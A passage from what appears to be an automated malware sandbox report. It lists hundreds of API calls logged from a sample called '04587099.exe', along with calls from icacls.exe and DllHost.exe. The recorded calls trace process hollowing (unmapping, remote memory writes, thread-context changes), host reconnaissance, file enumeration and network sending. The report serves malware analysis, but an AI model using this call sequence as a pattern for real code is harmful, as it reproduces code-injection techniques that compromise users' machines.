00000000-00004284) "04587099.exe" called "NtEnumerateKey" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtEnumerateValueKey" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtProtectVirtualMemory" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtOpenThread" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtResumeThread" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtQueryAttributesFile" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtCreateSection" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtMapViewOfSection" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtQueryVolumeInformationFile" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtSetInformationProcess" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "LdrLoadDll" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "LoadLibrary" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtQueryInformationProcess" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtOpenSection" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtQueryLicenseValue" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtOpenThreadToken" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtOpenProcessToken" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtOpenEvent" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtQuerySystemInformation" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtCreateEvent" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtOpenDirectoryObject" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "RpcStringBindingComposeW" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtAlpcConnectPortEx" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtOpenProcess" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtReadVirtualMemory" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtDeviceIoControlFile" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtSetInformationThread" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtAlpcSendWaitReceivePort" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "CryptAcquireContextW" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "CryptHashData" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtCreateThreadEx" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtReadFile" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtCreateMutant" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtConnectPort" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtRequestWaitReplyPort" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtWaitForMultipleObjects" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtDelayExecution" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "LdrUnloadDll" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtAlpcConnectPort" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtSetInformationFile" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtWriteFile" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtAllocateVirtualMemory" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "LdrGetDllHandle" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtQueryVirtualMemory" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtUnmapViewOfSection" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtSuspendThread" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtGetContextThread" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtYieldExecution" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "RtlGetNtProductType" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "RtlGetVersion" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "InternetOpenA" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "InternetOpenW" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "GetAdaptersInfo" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "GetUserNameW" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "GetDriveTypeA" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "CreateToolhelp32Snapshot" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "FindFirstFileW" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "FindNextFileW" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "GetComputerNameW" (PID: 4284) (UID: 00000000-00004284)3b:T2553,"04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005124) "04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005124) "04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005124) "04587099.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005124) "04587099.exe" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00005124) "04587099.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005124) "04587099.exe" called "LoadLibrary" with a parameter user32 (UID: 00000000-00005124) "04587099.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005124) "04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006576) "04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006576) "04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006576) "04587099.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006576) "04587099.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00006576) "04587099.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006576) "04587099.exe" called "LoadLibrary" with a parameter Psapi.dll (UID: 00000000-00006576) "04587099.exe" called "LoadLibrary" with a parameter Shell32.dll (UID: 00000000-00006576) "icacls.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007112) "icacls.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007112) "icacls.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007112) "icacls.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007112) "04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005616) "04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005616) "04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005616) "04587099.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005616) "04587099.exe" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00005616) "04587099.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005616) "04587099.exe" called "LoadLibrary" with a parameter user32 (UID: 00000000-00005616) "04587099.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005616) "04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006344) "04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006344) "04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006344) "04587099.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006344) "04587099.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00006344) "04587099.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006344) "04587099.exe" called "LoadLibrary" with a parameter Psapi.dll (UID: 00000000-00006344) "04587099.exe" called "LoadLibrary" with a parameter Shell32.dll (UID: 00000000-00006344) "04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004268) "04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004268) "04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004268) "04587099.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004268) "04587099.exe" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00004268) "04587099.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004268) "04587099.exe" called "LoadLibrary" with a parameter user32 (UID: 00000000-00004268) "04587099.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004268) "04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007000) "04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007000) "04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007000) "04587099.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00007000) "04587099.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007000) "04587099.exe" called "LoadLibrary" with a parameter Psapi.dll (UID: 00000000-00007000) "04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004740) "04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004740) "04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004740) "04587099.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004740) "04587099.exe" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00004740) "04587099.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004740) "04587099.exe" called "LoadLibrary" with a parameter user32 (UID: 00000000-00004740) "04587099.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004740) "04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005728) "04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005728) "04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005728) "04587099.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005728) "04587099.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00005728) "04587099.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005728) "04587099.exe" called "LoadLibrary" with a parameter Psapi.dll (UID: 00000000-00005728) "04587099.exe" called "LoadLibrary" with a parameter Shell32.dll (UID: 00000000-00005728) "04587099.exe" called "LoadLibrary" with a parameter ADVAPI32.DLL (UID: 00000000-00005728) "04587099.exe" called "LoadLibrary" with a parameter KERNEL32.DLL (UID: 00000000-00005728) "04587099.exe" called "LoadLibrary" with a parameter NETAPI32.DLL (UID: 00000000-00005728) "04587099.exe" called "LoadLibrary" with a parameter USER32.DLL (UID: 00000000-00005728) "DllHost.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005584) "DllHost.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005584) "DllHost.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005584) "DllHost.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005584) "DllHost.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005832) "DllHost.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005832) "DllHost.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005832) "DllHost.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005832) "DllHost.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006148) "DllHost.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006148) "DllHost.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006148) "DllHost.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006148) "04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005792) "04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005792) "04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005792) "04587099.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005792) "04587099.exe" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00005792) "04587099.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005792) "04587099.exe" called "LoadLibrary" with a parameter user32 (UID: 00000000-00005792) "04587099.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005792) "04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004284) "04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004284) "04587099.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004284) "04587099.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004284) "04587099.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004284) "04587099.exe" called "LoadLibrary" with a parameter Psapi.dll (UID: 00000000-00004284) "04587099.exe" called "LoadLibrary" with a parameter Shell32.dll (UID: 00000000-00004284)3c:T145a0,"04587099.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter GlobalAlloc (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter Module32First (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter MessageBoxA (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter GetMessageExtraInfo (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter WinExec (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter ReadProcessMemory (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter WriteProcessMemory (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter GetModuleFileNameA (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter GetCommandLineA (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter NtUnmapViewOfSection (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter NtWriteVirtualMemory (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter RegisterClassExA (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter CreateWindowExA (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter PostMessageA (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter GetMessageA (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter DefWindowProcA (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter GetFileAttributesA (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter GetStartupInfoA (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter VirtualProtectEx (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00005124) "04587099.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter SetThreadStackGuarantee (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter SetDefaultDllDirectories (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleExW (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter SetFileInformationByHandleW (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter EnumProcesses (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00006576) "icacls.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 